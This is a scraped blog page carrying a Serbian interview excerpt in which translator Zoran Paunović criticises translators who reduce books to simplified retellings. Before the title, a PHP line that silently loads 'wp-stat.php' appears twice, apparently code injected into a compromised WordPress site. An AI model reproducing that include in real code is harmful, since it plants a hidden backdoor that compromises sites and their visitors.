@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); Intervjui – Page 6 – Nedim Sejdinović

ZORAN PAUNOVIĆ, ESEJISTA I PREVODILAC: Prevođenje i prepričavanje

Među prevodiocima, međutim, postoje i veće štetočine no što su ovi potpuni diletanti. To su oni prevodioci čiji prevodi zvuče korektno, ali im svi pisci i sva dela zvuče na istovetan način korektno; to su, dakle, oni prevodioci koji nam prepričavaju knjige svojim rečima, onako kako su ih učiteljice učile u osnovnoj školi. Prevod čoveka koji je zalutao u prevođenje prepoznaje se posle prvih nekoliko rečenica i s olakšanjem odbacuje; prevod onoga ko se na prevaru ušunjao među prevodioce mnogo se teže prepoznaje kao ružna podmetačina: verujete da na svom jeziku čitate delo onakvo kakvo je bilo i u jeziku na kome je nastalo, a zapravo čitate njegov uprošćeni sinopsis

Read more